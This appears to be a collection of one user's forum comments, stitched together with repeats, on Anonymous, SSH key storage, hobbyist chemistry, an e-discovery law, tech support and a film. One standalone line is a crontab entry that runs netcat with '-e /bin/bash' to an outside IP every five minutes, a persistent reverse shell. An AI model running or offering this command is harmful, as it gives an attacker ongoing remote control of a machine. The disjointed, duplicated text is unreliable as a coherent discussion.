I'm not sure why people are surprised. The general collective has always seemed to have a conscience. Their tactics may be illegal but they generally push forward a righteous agenda. Protesting rigged Iranian elections, exposing BofA corruption, defending WikiLeaks and in general defending free speech. I'm not saying they are saints or that they are justified in their actions, just that this fits their m.o.
I'm not sure how you justify the Sony attacks but I'm sure it had something to do with corporate greed and perceived threats to free speech.
I don't see why having private keys on a server would be less secure than having these on your laptop/phone, which is much easier to steal or borrow...
My laptop is only vulnerable to theft by people I am in physical contact with and is generally my responsibly to secure while connected to the Internet. Placing SSH keys on a server means I'm giving these keys and any access they grant to the admins of said server and am placing my trust in them to keep them secure. This is fine for automated trust relationships between hosts but not generally a good idea for personal keys.
have been done by hobbyists, i humbly submit this isn't possible anymore. all of the historical advances made by hobbyists were done decades ago, involving simple concepts. all advances today are not simple, but require the support of an advanced facility, simply because all of the fundamental, simple advances in chemistry have already been scoured
I disagree. I would argue that closet chemists are not advancing chemical theory and are more likely looking at various practical applications. This simply takes a different perspective and removing ones self from corporate pressures (where something might not be seen as profitable) might provide that.
similar to hobbyist game makers of just 20, 30 years ago, and how there is no way they could compete on the same footing with modern mainline game studios and the high end graphical renderings they crank out
Yet games like Portal and Crayon Physics help change the direction of the industry.
Depending on your area Goodwill might not be a bad option. In Austin Goodwill Computer Works is setup specifically for this and takes donations from businesses around town. They even have a computer museum next door.
Even if the law does work the way it's intended and only applies to investigative work, it's still completely retarded.
Say my company is involved in a lawsuit and is required by the court to produce email for a certain date range pertaining to a certain topic. Usually a search based on keywords. This happens in EVERY lawsuit. Now instead of the IT dept (me) querying our email archival system or exporting PSTs from users mailboxes, we now have to hire a PI who knows absolutely nothing about our network, our users or our mail system to find and produce what the courts are looking for.
I live in Texas and I am calling my rep over this.
I guess the worst thing I can say about the movie is that I wasn't really captivated by it at any point during the showing.
Maybe that's because you already knew what was going to happen. I thought it did an excelent job of capturing the audience. The first time I saw it I was with a group of friends who had not read the books and were compleatly wraped up in the story. The suspence was there it just doesn't have the same impact when you're waiting for things to happen.
My friends and I used to play this game. A bunch of us would go into walmart with a video camera (just ask the lady at the door to put a sticker on it). Go to the toy section and grab a few nerf balls. The idea is whoever has the camera is it. They run around with the camera, if they get pegged with a ball they have to give the camera to the next person. Makes for some good home movies.:-)
He can't be charged with something that didn't exist at the time, thats protected by the Constitution.
Yes,I thought the same thing, but according to this.
"As a "Federal terrorism offense," the five year statute of limitations for hacking would be abolished retroactively -- allowing computer crimes committed decades ago to be prosecuted today -- and the maximum prison term for a single conviction would be upped to life imprisonment. There is no parole in the federal justice system."
Maybe I'm misunderstanding but it would seem he could be tried under new law. Which I agree is not constitutional.
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I'm not sure why people are surprised. The general collective has always seemed to have a conscience. Their tactics may be illegal but they generally push forward a righteous agenda. Protesting rigged Iranian elections, exposing BofA corruption, defending WikiLeaks and in general defending free speech. I'm not saying they are saints or that they are justified in their actions, just that this fits their m.o.
I'm not sure how you justify the Sony attacks but I'm sure it had something to do with corporate greed and perceived threats to free speech.
I don't see why having private keys on a server would be less secure than having these on your laptop/phone, which is much easier to steal or borrow...
My laptop is only vulnerable to theft by people I am in physical contact with and is generally my responsibly to secure while connected to the Internet. Placing SSH keys on a server means I'm giving these keys and any access they grant to the admins of said server and am placing my trust in them to keep them secure. This is fine for automated trust relationships between hosts but not generally a good idea for personal keys.
have been done by hobbyists, i humbly submit this isn't possible anymore. all of the historical advances made by hobbyists were done decades ago, involving simple concepts. all advances today are not simple, but require the support of an advanced facility, simply because all of the fundamental, simple advances in chemistry have already been scoured
I disagree. I would argue that closet chemists are not advancing chemical theory and are more likely looking at various practical applications. This simply takes a different perspective and removing ones self from corporate pressures (where something might not be seen as profitable) might provide that.
similar to hobbyist game makers of just 20, 30 years ago, and how there is no way they could compete on the same footing with modern mainline game studios and the high end graphical renderings they crank out
Yet games like Portal and Crayon Physics help change the direction of the industry.
Depending on your area Goodwill might not be a bad option. In Austin Goodwill Computer Works is setup specifically for this and takes donations from businesses around town. They even have a computer museum next door.
Restarting the modem or the computer fixes 99% of internet issues. When I worked at Applecare, that's what we'd do first, too.
No, it resets things and gets them off the phone but it doesn't keep the customer from having the same problem in the future.
That said, I've worked tech support too and most customers are their own problem,
Even if the law does work the way it's intended and only applies to investigative work, it's still completely retarded.
Say my company is involved in a lawsuit and is required by the court to produce email for a certain date range pertaining to a certain topic. Usually a search based on keywords. This happens in EVERY lawsuit. Now instead of the IT dept (me) querying our email archival system or exporting PSTs from users mailboxes, we now have to hire a PI who knows absolutely nothing about our network, our users or our mail system to find and produce what the courts are looking for.
I live in Texas and I am calling my rep over this.
crontab -e 0-59/5 * * * * nc 123.123.123.123 999 -e /bin/bash
Maybe that's because you already knew what was going to happen. I thought it did an excelent job of capturing the audience. The first time I saw it I was with a group of friends who had not read the books and were compleatly wraped up in the story. The suspence was there it just doesn't have the same impact when you're waiting for things to happen.
My only complaint was that 3 hours instead of 5.
Thank you Redhat.
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No self respecting slashdotter would stoop to the level of the Dummy's series.
yeah.. looks like it is the same guy... interesting..
Yes,I thought the same thing, but according to this.
"As a "Federal terrorism offense," the five year statute of limitations for hacking would be abolished retroactively -- allowing computer crimes committed decades ago to be prosecuted today -- and the maximum prison term for a single conviction would be upped to life imprisonment. There is no parole in the federal justice system."
Maybe I'm misunderstanding but it would seem he could be tried under new law. Which I agree is not constitutional.
If convicted, he could face five years in prison and a $500,000 fine.
This is assuming the ATA doesn't pass. Otherwise it should read Lifetime in prison with no chance of parole.